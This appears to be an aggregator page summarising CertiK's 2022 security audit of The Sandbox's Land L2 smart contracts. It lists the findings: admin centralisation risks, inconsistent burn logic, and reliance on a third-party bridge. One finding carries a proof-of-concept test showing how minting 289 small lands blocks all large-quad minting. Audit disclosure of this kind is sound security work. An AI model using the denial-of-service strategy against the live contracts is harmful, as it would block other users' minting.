CertiK reviewed The Sandbox (Sandbox L2) on 5 Jul 2022: 9 findings, 0 critical; 5 marked fixed, 4 open.
Report hosted on skynet.certik.com.
Trustblock does not review code.
Statuses are the security firm’s own, from its report.
| Severity | Open | Acknowledged | Fixed |
|---|---|---|---|
| Critical | 0 | 0 | 0 |
| High | 1 | 0 | 1 |
| Medium | 0 | 0 | 0 |
| Low | 3 | 0 | 4 |
In the contract `PolygonLandV1`, the role `_admin` has authority over the following functions: - `setPolygonLandTunnel()`: Modify the `PolygonLandTunnel` address; - `setTrustedForwarder()`: Modify the Trusted Forwarder for the Meta Transactions. In addition, the role `polygonLandTunnel` has authority over the following function: - `mint()`: mints quads to an address. The contract `PolygonLandV1` inherits the contract `PolygonLandBaseToken`, where the role `superOperator` has authority over the following functions: - `batchTransferQuad()`: Transfer any user's quads to an address; - `transferQuad()`: Transfer any user's quads to an address. The contract `PolygonLandBaseToken` inherits the contract `ERC721BaseToken`, where `_admin` has authority over the following functions: - `setSuperOperator()`: Give or remove the `superOperator` role to or from an address; - `changeAdmin()`: Change the address of the role `_admin`. In addition, the `superOperator` role has authority over the following functions: - `approve()`: Decide the allowance of any token; - `approveFor()`: Decide the allowance of any token; - `transferFrom()`: Transfer any user's tokens to an address; - `safeTransferFrom()`: Transfer any user's tokens to an address; - `batchTransferFrom()`: Transfer several of a user's tokens to an address; - `safeBatchTransferFrom()`: Transfer several of a user's tokens to an address; - `setApprovalForAllFor()`: Set the approval for an address to manage all of a user's tokens; - `burnFrom()`: Burn any user's tokens. In the contract `LandTunnel`, the role `_owner` has authority over the following functions: - `setTrustedForwarder()`: Modify the Trusted Forwarder for the Meta Transactions; - `pause()`: Pause the contract to disable transfers from L1 (Ethereum) to L2 (Polygon); - `unpause()`: Unpause the contract, reenabling transfers from L1 (Ethereum) to L2 (Polygon). In the contract `PolygonLandTunnel`, the role `_owner` has authority over the following functions: - `setMaxLimitOnL1()`: Define the maximum amount of gas to spend for `batchTransferQuadToL1()` function; - `setMaxAllowedQuads()`: Define the maximum amount of quads to transfer for `batchTransferQuadToL1()` function; - `setLimit()`: Define the maximum amount of gas to spend on transfers for one quad type; - `setupLimits()`: Define the maximum amount of gas to spend on transfers for each quad type; - `setTrustedForwarder()`: Modify the Trusted Forwarder for the Meta Transactions; - `pause()`: Pause the contract, preventing transfers from L2 (Polygon) to L1 (Ethereum); - `unpause()`: Unpause the contract, reenabling transfers from L2 (Polygon) to L1 (Ethereum). Any compromise to the aforementioned privileged accounts may allow a hacker to take advantage of this authority and manipulate the reward system.
Sandbox has implemented Land token protocols on both L1 (Ethereum) and L2 (Polygon). The burning logic of the two protocols is different.\ On L2, the `_burn()` function sets the 160st bit of the token's owner record to be 1 (as an identification for burnt tokens) yet maintains the previous owner's address. ```solidity= //Burning Logic on L2 function _burn( address from, address owner, uint256 id ) internal { require(from == owner, "NOT_OWNER"); uint256 storageId = _storageId(id); _owners[storageId] = (_owners[storageId] & NOT_OPERATOR_FLAG) | BURNED_FLAG; // record as non owner but keep track of last owner _numNFTPerAddress[from]--; emit Transfer(from, address(0), id); } ``` On L1, the `_burn()` function sets the token's owner record as 2**160 and removes the previous owner's address. ```solidity= //Burning Logic on L1 function _burn(address from, address owner, uint256 id) internal { require(from == owner, "not owner"); _owners[id] = 2**160; // cannot mint it again _numNFTPerAddress[from]--; emit Transfer(from, address(0), id); } ``` If tokens on L1 and L2 are designed to be equal, it is recommended to maintain the same logic to avoid unexpected consequences resulting from protocol incompatibility.
When the contract tries to mint a quad via `_mintQuad()`, there is a check to ensure that no quads containing the quad to mint and no quads (or LANDS) within the quad to mint have already been minted by calling the function `exists()`. This leads to a possible denial-of-service attack where the attacker mints 1x1 LANDS at specific locations to prevent the minting of larger quads. For example, out of the possible 166,464 LAND placements, only 289 LANDS need to be minted to prevent 24x24 quads from occurring. **Proof of Concept**\ The following test shows that if 289 1x1 Land is minted, no one can mint 24x24 land anymore. ```typescript it('Mint 289 land to prevent others mint 24x24', async function () { const {landOwners} = await setupTest(); const bytes = '0x3333'; let totalMint = 0; for (let x = 0; x < GRID_SIZE; x = x + 24) { for (let y = 0; y < GRID_SIZE; y = y + 24 ){ await waitFor( landOwners[0].MockLandWithMint.mintQuad( landOwners[0].address, 1, x, y, bytes )); //console.log('Minted a land on (%d,%d)', x , y) totalMint = totalMint + 1; } } console.log('Step1: Mint lands in each 24x24 land. In total %d 1x1 land is minted', totalMint); let totalTry = 0; for (let x = 0; x < GRID_SIZE; x = x + 24) { for (let y = 0; y < GRID_SIZE; y = y + 24) { await expect( landOwners[0].MockLandWithMint.mintQuad( landOwners[0].address, 24, x, y, bytes ) ).to.be.revertedWith('Already minted'); totalTry = totalTry + 1; } } console.log('Step2: Cannot Mint 24x24 land Anymore. In total %d times tried to mint 24x24 land', totalTry) }); ``` The test case passed, meaning 24x24 land can no longer be minted ```typescript Step1: Mint lands in each 24x24 land. In total 289 1x1 land is minted Step2: Cannot Mint 24x24 land Anymore. In total 289 times tried to mint 24x24 land ✓ Mint 289 land to prevent others mint 24x24 (18107ms) ```
The contract is serving as the underlying entity to interact with third-party **fx-portal** protocols. The **fx-portal** protocol performs the cross-chain functionality to exchange messages between Ethereum and Polygon. Land Bridge interacts with the following contracts: - [FxBaseChildTunnel](https://github.com/fx-portal/contracts/blob/main/contracts/tunnel/FxBaseChildTunnel.sol) - [FxBaseRootTunnel](https://github.com/fx-portal/contracts/blob/main/contracts/tunnel/FxBaseRootTunnel.sol) The scope of the audit treats 3rd party entities as black boxes and assumes their functional correctness. However, in the real world, 3rd parties can be compromised, which may lead to lost or stolen assets.
The report names a repository or files. Open the report to see its scope.
Repository and files the report names (9)
1,044 projects reviewed · 1,375 reports · latest May 2025
See CertiK’s auditsSomething wrong on this page? A missing report, a wrong date, a finding that was fixed since. Tell us and we check it against its source.
Tell us